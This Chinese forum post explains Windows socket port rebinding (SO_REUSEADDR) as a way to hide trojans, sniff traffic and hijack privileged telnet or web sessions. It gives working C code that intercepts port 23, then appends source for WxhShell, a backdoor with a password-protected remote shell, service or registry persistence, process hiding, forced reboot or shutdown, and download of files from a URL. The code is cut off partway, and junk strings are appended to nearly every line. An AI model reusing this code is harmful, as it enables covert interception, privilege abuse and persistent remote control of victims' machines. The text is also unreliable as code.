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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2'<[7!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n?urE-_  
4T<Lgb  
  saddr.sin_family = AF_INET; )){9&5,0:  
IMl!,(6;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^~HQC*  
?EK?b s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~ Yngkt  
13&0rLS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^T,Gu-2>  
H'UR8%  
  这意味着什么?意味着可以进行如下的攻击: T,OwM\`.X{  
-tI'3oT1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -}6xoF?  
OOz[-j>'Y+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W$Yc'E ;  
Pv+5K*"7Cg  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 V@QK  
TSsKfexQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mTEx,   
.pvV1JA'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RTu4@7XP  
Wt9Q;hK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q 9&kJ%Mo  
3QOUU,Dt$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a9?y`{%L  
R?EASc!b  
  #include }AvcoD/b  
  #include N9<Ujom  
  #include h}Wdh1.M3  
  #include    1uk 0d`JL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   a`u S[r>  
  int main() |fY/i] Ax  
  { KB!|B.ChN(  
  WORD wVersionRequested; ;eZ#bjw-d  
  DWORD ret; $eBX  
  WSADATA wsaData; ;u(Du-Os!  
  BOOL val; OLj\-w^  
  SOCKADDR_IN saddr; nPgeLG"00  
  SOCKADDR_IN scaddr; W Qc>  
  int err; =60~UM  
  SOCKET s; q(5+xSg"gK  
  SOCKET sc; P0-Fc@&Y  
  int caddsize; x/ :4 {  
  HANDLE mt; :ECi+DxBK  
  DWORD tid;   }V|{lvt.  
  wVersionRequested = MAKEWORD( 2, 2 ); sW^a`VM  
  err = WSAStartup( wVersionRequested, &wsaData ); =_8Tp~j  
  if ( err != 0 ) { `j9$T:`  
  printf("error!WSAStartup failed!\n"); m3g2b _;  
  return -1; `ZaT}# Y  
  } R, 8s_jN  
  saddr.sin_family = AF_INET; 35*\_9/#  
   ;!T{%-tP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cubk]~VD  
nB ".'=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *AIEl"29  
  saddr.sin_port = htons(23); ro[Y-o5Q0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X+n`qiwq  
  { \M/6m^zS  
  printf("error!socket failed!\n"); Z2bcCIq4  
  return -1; J%]D%2vnk`  
  } #9LzY  
  val = TRUE; H2-28XGc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cDXsi#Raj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VRW] a  
  { AP\ofLmq  
  printf("error!setsockopt failed!\n"); v1.q$ f^(  
  return -1; Us~ X9n_F  
  } !z zW2>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qYp$fmj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 efuK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kDz>r#%  
wn11\j&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [W,-1.$!dM  
  { n|4;Hn1V  
  ret=GetLastError(); hD<f3_k  
  printf("error!bind failed!\n"); h.whjiCFa  
  return -1; *xM/ ;)  
  }  [&P`ak  
  listen(s,2); Ld|V^9h1;  
  while(1) ~L+]n0*  
  { ^Dx#7bsDZR  
  caddsize = sizeof(scaddr); 4rU! 4l  
  //接受连接请求 4o9$bv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aP>37s  
  if(sc!=INVALID_SOCKET) *,\` o~  
  { '?Iif#Z1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "L2m-e6  
  if(mt==NULL) X^@[G8v%  
  { Z#Lx_*p]Q  
  printf("Thread Creat Failed!\n"); [D'Gr*5~{  
  break; ZcryAm:I  
  } f3 ]  
  } oVB"f  
  CloseHandle(mt); I/UQ'xx  
  } V_L[P9  
  closesocket(s); CM~MoV[k7e  
  WSACleanup(); -'C!"\%  
  return 0; a]VGUW-  
  }   ]RFdLV?  
  DWORD WINAPI ClientThread(LPVOID lpParam) -rDz~M+  
  { [l[{6ZXt  
  SOCKET ss = (SOCKET)lpParam; Eqphd!\#6  
  SOCKET sc; @%@zH%b  
  unsigned char buf[4096]; 3DoRE2}  
  SOCKADDR_IN saddr; a%~yol0wO7  
  long num; Z|`fHO3j  
  DWORD val; =wA5P@  
  DWORD ret; Rk<%r k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DA LQ<iF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   EE%s<_k`  
  saddr.sin_family = AF_INET; M g!ra"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y5jYmP<  
  saddr.sin_port = htons(23); If}lJ6jZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;1LG&h,K  
  { KP~-$NR  
  printf("error!socket failed!\n"); !.+"4TF  
  return -1; J`Oy.Qu)  
  } cztS]dcf>~  
  val = 100; w6EI{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |R'i:=  
  { ]M4NpU M  
  ret = GetLastError(); ~Ob8i1S>  
  return -1; :k1$g+(lP  
  } Z! YpklZ?~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4 10:%WGc  
  { ULvVD6RQ47  
  ret = GetLastError(); &]3:D  
  return -1; !s-/0ugZ  
  } w<d*#$[,*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &`PbO  
  { RWahsJTu  
  printf("error!socket connect failed!\n"); L<@&nx   
  closesocket(sc); $'$>UFR  
  closesocket(ss); R|t;p!T  
  return -1; #,P(isEZ"  
  } Gj`f--2GE  
  while(1) Ve14rn  
  { %vc'{`P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^W['A]l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MxN]7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A[ 1)!e  
  num = recv(ss,buf,4096,0); ~_}4jnC  
  if(num>0) J<_1z':W)  
  send(sc,buf,num,0); XZ@ >]P  
  else if(num==0) R`C.ha  
  break; x<Se>+  
  num = recv(sc,buf,4096,0); {Tx 3$eU  
  if(num>0) K.h]JD]o  
  send(ss,buf,num,0); Fd"WlBYy0  
  else if(num==0) f%1wMOzx  
  break; $SF3odpt  
  } Th+|*=Il  
  closesocket(ss); HWR& C  
  closesocket(sc); k6g|7^es2  
  return 0 ; U]j&cFbn5_  
  } u<q)SQ1  
jf7pl8gv  
Y\>\[*.v  
========================================================== !47A$sQ  
'WzUu MCx  
下边附上一个代码,,WXhSHELL Q=XA"R  
$9m5bQcV  
========================================================== U$EM.ot  
<tQXK;  
#include "stdafx.h" 83xd@-czgh  
TA9dkYlE/  
#include <stdio.h> YUS?]~XC7x  
#include <string.h> 165WO}(;/  
#include <windows.h> 2HVCXegq  
#include <winsock2.h> |lHFo{8"  
#include <winsvc.h> KF4see;;  
#include <urlmon.h> 9!S^^;PN&  
Zr R+QV  
#pragma comment (lib, "Ws2_32.lib") I~'gK8<e7  
#pragma comment (lib, "urlmon.lib") *p"O*zj  
5 {fwlA  
#define MAX_USER   100 // 最大客户端连接数 :b,o B==%  
#define BUF_SOCK   200 // sock buffer [Z% l.  
#define KEY_BUFF   255 // 输入 buffer <mn-=#)  
&X7ttB"#h  
#define REBOOT     0   // 重启 ,{TQ ~LP  
#define SHUTDOWN   1   // 关机 t*rp3BIG  
EUXV/QV{  
#define DEF_PORT   5000 // 监听端口 iGyVG41U  
4Q/r[x/&C  
#define REG_LEN     16   // 注册表键长度 A<;0L . J  
#define SVC_LEN     80   // NT服务名长度 I &cX8Tw  
9`,,%vdj  
// 从dll定义API C*]AL/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n\ Gg6Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eFes+i(35  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5GUH;o1m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wz)m{:b<  
=yo=q)W  
// wxhshell配置信息 4&H+hN{3  
struct WSCFG {  TVj1C  
  int ws_port;         // 监听端口 &(WE]ziuO  
  char ws_passstr[REG_LEN]; // 口令 uq]iMz>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4=UI3 2v3  
  char ws_regname[REG_LEN]; // 注册表键名 w8U2y/:>  
  char ws_svcname[REG_LEN]; // 服务名 <xC: Ant  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fv;u1Atiw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vFR 1UPF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #[C< J#;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =sL(^UISl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6O%=G3I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cy9N:MR(c  
cyDiA(ot&  
}; ~S! L!qY  
-aA<.+  
// default Wxhshell configuration my=*zziN  
struct WSCFG wscfg={DEF_PORT, ?! _u,sT  
    "xuhuanlingzhe", YlG; A\]k  
    1, E#8J+7  
    "Wxhshell", -uO%[/h;N  
    "Wxhshell", iczs8gj*  
            "WxhShell Service", z{@= _5;  
    "Wrsky Windows CmdShell Service", A"`L~|&  
    "Please Input Your Password: ", M3)v-"  
  1, R<_mK33hd  
  "http://www.wrsky.com/wxhshell.exe", 2c!h2$w  
  "Wxhshell.exe" >_n:_  
    }; XlE$.  
}#YIl@E  
// 消息定义模块 g2!0vB>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e1:u1(".  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d5N)^\z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p.qrf7N$  
char *msg_ws_ext="\n\rExit."; qT 5Wa O)  
char *msg_ws_end="\n\rQuit."; #}nBS-+  
char *msg_ws_boot="\n\rReboot..."; $0ym_6n  
char *msg_ws_poff="\n\rShutdown..."; U$MWsDn   
char *msg_ws_down="\n\rSave to "; B'NS&7+].  
9)1P+c--  
char *msg_ws_err="\n\rErr!"; Bb$S^F(Xq  
char *msg_ws_ok="\n\rOK!"; Rv0-vH.n  
W^-hMT]uD  
char ExeFile[MAX_PATH]; hQ\#Fhu7  
int nUser = 0; -Mit$mFn  
HANDLE handles[MAX_USER]; r[Zg 2  
int OsIsNt; {\ A_%  
^[k6]1h  
SERVICE_STATUS       serviceStatus; K'>P!R:El  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l!xgtP K  
IEKMa   
// 函数声明 C!CaGf=  
int Install(void); Fmy1nZ   
int Uninstall(void); ABd153oW"  
int DownloadFile(char *sURL, SOCKET wsh); 8JQ<LrIt9  
int Boot(int flag); }M;sz  
void HideProc(void); X`8Y[Vb3}  
int GetOsVer(void); pT|./ Fe  
int Wxhshell(SOCKET wsl); $IZ *|>(  
void TalkWithClient(void *cs); s0x@ u  
int CmdShell(SOCKET sock); kfH9Y%bOy  
int StartFromService(void); !NlB%cF  
int StartWxhshell(LPSTR lpCmdLine); ]W89.><%14  
n=lggBRx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c80"8r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D N2hv2  
KFCQYdI`d  
// 数据结构和表定义 wWp?HDl"M  
SERVICE_TABLE_ENTRY DispatchTable[] = tyBg7dP  
{ F(0pru4u  
{wscfg.ws_svcname, NTServiceMain}, a,en8+r ]  
{NULL, NULL} #c8"  
}; C?_t8G./_  
&utS\-;G  
// 自我安装 Pl`Bd0  
int Install(void) W$x K^}  
{ n^g-`  
  char svExeFile[MAX_PATH]; >KH(nc$  
  HKEY key; !XG/,)A  
  strcpy(svExeFile,ExeFile); { &6l\|  
[346w <  
// 如果是win9x系统,修改注册表设为自启动 Th I  
if(!OsIsNt) { $D0)j(v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0B#rqTEKu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  mP`,I"u  
  RegCloseKey(key); #t5JUi%in*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >d1aE)?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {|t?   
  RegCloseKey(key); /9t*CEu\  
  return 0; D*<8e?F  
    } dja9XWOg  
  } \!? PhNv  
} dUBVp 9PB  
else { :$)aMEq  
o =jX  
// 如果是NT以上系统,安装为系统服务 2=/-d$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zmrX %!CW  
if (schSCManager!=0) Y6[]wUJ  
{ DU*Hnii  
  SC_HANDLE schService = CreateService exa}dh/uC  
  ( j[Hg]  
  schSCManager, DVeF(Y3&  
  wscfg.ws_svcname, @Reh?]# v  
  wscfg.ws_svcdisp, P^o"PKA  
  SERVICE_ALL_ACCESS, -v/?>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AmrJ_YP/t~  
  SERVICE_AUTO_START, 3oNt]2w/'  
  SERVICE_ERROR_NORMAL, ]c~rPi  
  svExeFile, b W`)CWd  
  NULL, PhI{3B/  
  NULL, f(zuRM^5  
  NULL, >ZOZv  
  NULL, ;9- 4J  
  NULL 's%ct}y\J  
  ); ir1RAmt%  
  if (schService!=0) Jq=>H@il  
  { Qcy+ {j]  
  CloseServiceHandle(schService); ;_;H(%uY  
  CloseServiceHandle(schSCManager); NEjB jLJZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^{:[^$f:l  
  strcat(svExeFile,wscfg.ws_svcname); `04Y ;@w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $4fjSSB~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $;g%S0:3)  
  RegCloseKey(key); q0xE&[C[M  
  return 0; e>s.mH6A  
    } 'TEwU0<%  
  } .Jnp{Tet  
  CloseServiceHandle(schSCManager); 3k|~tVM  
} 2oNPR+ -  
} 4$#ia F  
SJY"]7  
return 1; T<_1|eH  
} e^ K=8IW  
FCw VVF0 y  
// 自我卸载 2* cKFv{  
int Uninstall(void) FnU{C=P  
{ I "+|cFq.  
  HKEY key; 62KW HB9S  
>G -?e!  
if(!OsIsNt) {  MYW 4@#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OYCFx2{  
  RegDeleteValue(key,wscfg.ws_regname); ,4?|}xg  
  RegCloseKey(key); hJL0M!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EJiF_  
  RegDeleteValue(key,wscfg.ws_regname); U#^:f7-$.  
  RegCloseKey(key); I n%yMH8  
  return 0; 1Y"y!\t7G  
  } GCmVmOdKr  
} 7H@Cy}a  
} . KSr@Gz  
else { (\[!,T"[  
EEnTq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (]# JpQ  
if (schSCManager!=0) "q#kh,-C  
{ 9\;/-0P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y3F.hk}O  
  if (schService!=0) 41_sSqq;^  
  { Tx&qp#FS  
  if(DeleteService(schService)!=0) { K,T]Fuy  
  CloseServiceHandle(schService); X+G*Q}5  
  CloseServiceHandle(schSCManager); Vu8-Cy>Q?  
  return 0; >ww1:Sn  
  } R^w >aZ oJ  
  CloseServiceHandle(schService); ?VHwYD.B  
  } 5v03<m0`y  
  CloseServiceHandle(schSCManager); ~+NFWNgN  
} \|4MU"ri  
} J}`$WL:  
)^a#Xn3z  
return 1; [/`Hz]R  
} GA@Q:n8UuR  
70l;**"4  
// 从指定url下载文件 ~$`YzK^*X  
int DownloadFile(char *sURL, SOCKET wsh) p!5JO4F$  
{ OKH~Y-%<  
  HRESULT hr; 4%.2 =  
char seps[]= "/"; yeh adm\  
char *token; k*+ZLrT  
char *file; oXOO 10  
char myURL[MAX_PATH]; 4Og GZ  
char myFILE[MAX_PATH]; in|7ucSlg  
At_Y$N:  
strcpy(myURL,sURL); s)ajy^6'M  
  token=strtok(myURL,seps); 1$!K2=%OXj  
  while(token!=NULL) @9Pn(fd]  
  { aLo>Yi  
    file=token; YedipYG9;  
  token=strtok(NULL,seps); [Z&s0f1Qb  
  } |gxB; GG  
kj"_Y"q=  
GetCurrentDirectory(MAX_PATH,myFILE); WX$^[^=HC  
strcat(myFILE, "\\"); 544I#!  
strcat(myFILE, file); u+T, n  
  send(wsh,myFILE,strlen(myFILE),0); SCC/ <o  
send(wsh,"...",3,0); $ }bC$?^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \.-y LS.  
  if(hr==S_OK) aNEy1-/(\  
return 0; RJm8K,3#  
else -2~ yc2:>A  
return 1; ]cY'6'}Hz  
wAwH8xLU  
} i3!$M/_]  
?At-   
// 系统电源模块 m<HjL  
int Boot(int flag) B=xZkc  
{ &K*_/Q '\  
  HANDLE hToken; ATkqzE`;  
  TOKEN_PRIVILEGES tkp; #6Ph"\G/  
8*){*'bf  
  if(OsIsNt) { CU M~*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DY27'`n6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .VV!$; FB  
    tkp.PrivilegeCount = 1; 0-O.*Q^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2xxwQwg8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \O4=mJ  
if(flag==REBOOT) { s,q!(\{Pv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dfd%A" I  
  return 0; B{u.Yc:  
} F?4'>ZW  
else { *qOCo_=P8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;a77YL TQ  
  return 0; ?(hQZR 0e  
} f }e7g d]M  
  } *wx^mB9  
  else { +Rd{ ?)2~  
if(flag==REBOOT) { 25KZe s)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U?C{.@#w  
  return 0; O/"&?)[v  
} 7im;b15j`'  
else { Bnc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 89dC bF3b  
  return 0; AH,F[ vS  
} :Bc;.%  
} !(tJZ5  
+\m!# CSA  
return 1; eW<hC (  
} No+zw%l0E  
$h f\ #'J  
// win9x进程隐藏模块 Nd)o1 {I  
void HideProc(void) ?*dx=UI  
{ ps J 1J  
T}On:*&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M57(,#g  
  if ( hKernel != NULL ) 6u8fF|s  
  { a OHAG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Darkj>$\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L4-Pq\2  
    FreeLibrary(hKernel); Y'R1\Go-  
  } 5jk4k c  
.U {JI\  
return; S-dV  
} rrq-so1u}  
'D{abm0  
// 获取操作系统版本 k}gs;|_  
int GetOsVer(void) E':Z_ ^4  
{ zK;t041e  
  OSVERSIONINFO winfo; 351'l7F\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?Fw/c0  
  GetVersionEx(&winfo); \`x'g)z(i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a#$%xw  
  return 1; 'IszS!kY  
  else S?<Qa;  
  return 0; l"#,O$x"#@  
} V&85<Y%Nl|  
s*Ll\#  
// 客户端句柄模块 ],4LvIPD  
int Wxhshell(SOCKET wsl) [ V~bo/n  
{ |-<L :%  
  SOCKET wsh; Reo0ZU>  
  struct sockaddr_in client; wtyu"=  
  DWORD myID; e2F7G>q:5  
sP!qv"u  
  while(nUser<MAX_USER) mer{Jy s  
{ Rl8-a8j$f.  
  int nSize=sizeof(client); ~VKXL,.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $T0[  
  if(wsh==INVALID_SOCKET) return 1; sP7(1)\  
2e=Hjf )  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $4]PN2d&  
if(handles[nUser]==0) >i<-rO>kN  
  closesocket(wsh); 9x\G(w  
else @TDcj~oR ?  
  nUser++; FT=>haN  
  } 1C{n\_hR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *WG}K?"/  
<NO~TBHF  
  return 0; /;1FZ<zU  
} I&c#U+-A'  
RB!E>]   
// 关闭 socket nm.d.A/]Z  
void CloseIt(SOCKET wsh) %{"STbO#>  
{ hW&UG#PY>  
closesocket(wsh); 1g+<`1=KT  
nUser--; V}?5=f'  
ExitThread(0); DEhA8.v  
} CXA8V"@&b/  
hpu(MX\  
// 客户端请求句柄 c#Bde-dh  
void TalkWithClient(void *cs) m`cG&Ar5  
{ 1<UQJw45  
o6oYJ`PY  
  SOCKET wsh=(SOCKET)cs; NGu]|p  
  char pwd[SVC_LEN]; e ^QOn  
  char cmd[KEY_BUFF]; 0Og =H79<  
char chr[1]; I6_+3}Hm{  
int i,j; oxZ(qfjS  
~c"c9s+o  
  while (nUser < MAX_USER) { y-mmc}B>N  
xC(PH?_  
if(wscfg.ws_passstr) { ^8)d8?}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *k -UQLJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z"u/8  
  //ZeroMemory(pwd,KEY_BUFF); =v-D}eJQ=  
      i=0; B=7L+6  
  while(i<SVC_LEN) { \T?O.  
;Xns9  
  // 设置超时 tti.-  
  fd_set FdRead; $6N. ykJ  
  struct timeval TimeOut; ]Az >W*Y  
  FD_ZERO(&FdRead); QG.FW;/L,  
  FD_SET(wsh,&FdRead); HO>uS>+  
  TimeOut.tv_sec=8; !*;)]j  
  TimeOut.tv_usec=0; AF !_! qc;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sXTO`W/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a/1{tDA  
X9J^Olq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9TLP(  
  pwd=chr[0]; l; 4F,iI  
  if(chr[0]==0xd || chr[0]==0xa) { qM)^]2_-  
  pwd=0; /+iaw~={"  
  break; 5ym =2U  
  } UT-=5  
  i++; ?QgWW  
    } eM}Xn^}  
_F9 c.BH  
  // 如果是非法用户,关闭 socket ;%}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J{Jxb1:c  
} 4{TUoI6ii  
rlq8J/0/+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .dV!du  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  6O}r4*  
c72/e7gV  
while(1) { c!c!;(  
3HD=)k  
  ZeroMemory(cmd,KEY_BUFF); s$Mj4_p3l  
YAO0>T<F  
      // 自动支持客户端 telnet标准   j<[<qU:  
  j=0; d 9|u~3  
  while(j<KEY_BUFF) { PF~&!~S>W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4D8q Gti  
  cmd[j]=chr[0]; f`Nu]#i  
  if(chr[0]==0xa || chr[0]==0xd) { {,m!%FDL  
  cmd[j]=0; L_(|5#IDw  
  break; .3[YOM7h  
  } |b@-1  
  j++; KM6r}CDHs  
    } "(5M }5D  
w*?JW  
  // 下载文件 F 1BPzRo`  
  if(strstr(cmd,"http://")) { ^J327  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^U52 *6  
  if(DownloadFile(cmd,wsh)) S}>rsg!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lp6GiF  
  else 7Y-GbG.'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F~m tE8B:  
  } z;-2xD0&U[  
  else { P _9O8"W  
)vw3Y88  
    switch(cmd[0]) { ~o+u:]  
  j=7]"%  
  // 帮助 `'~|DG}a  
  case '?': { ?D#Vha  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u{si  
    break; &{$\]sv  
  } Fw|5A"9'a'  
  // 安装 iS"rMgq  
  case 'i': { x ` $4  
    if(Install()) U7OW)tUf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ 60J  
    else )Aj~ xA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f@ySTz;u  
    break; RtSk;U1  
    } rHMsA|xz6  
  // 卸载 t{$t3>p-t  
  case 'r': {  hHdC/mR  
    if(Uninstall()) TO QvZ?_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQ@@79A  
    else ]LD@I;(_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RAe:$Iv$!v  
    break; PS>k67sI  
    } ex-`+cF  
  // 显示 wxhshell 所在路径 b*$^8%  
  case 'p': { }hGbF"clqg  
    char svExeFile[MAX_PATH]; 419t"1b  
    strcpy(svExeFile,"\n\r"); L%!jj7,9-  
      strcat(svExeFile,ExeFile); #CM2FN:W  
        send(wsh,svExeFile,strlen(svExeFile),0); ) yjHABGJ  
    break; &AW?!rH  
    } `jP6;i  
  // 重启 DJeG  
  case 'b': { b.$Gc!g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =!7yX ;|  
    if(Boot(REBOOT)) {1FY HM^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vHWw*gg(/E  
    else { x ha!.&DO  
    closesocket(wsh); .*8.{n5   
    ExitThread(0); na<g /&  
    } /q8n_NR  
    break; \OOj]gAe  
    } vQA: \!  
  // 关机 tvP"t{C6,  
  case 'd': { JTx&_Ok#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); REw!@Y."  
    if(Boot(SHUTDOWN)) tvI~?\Ylj  
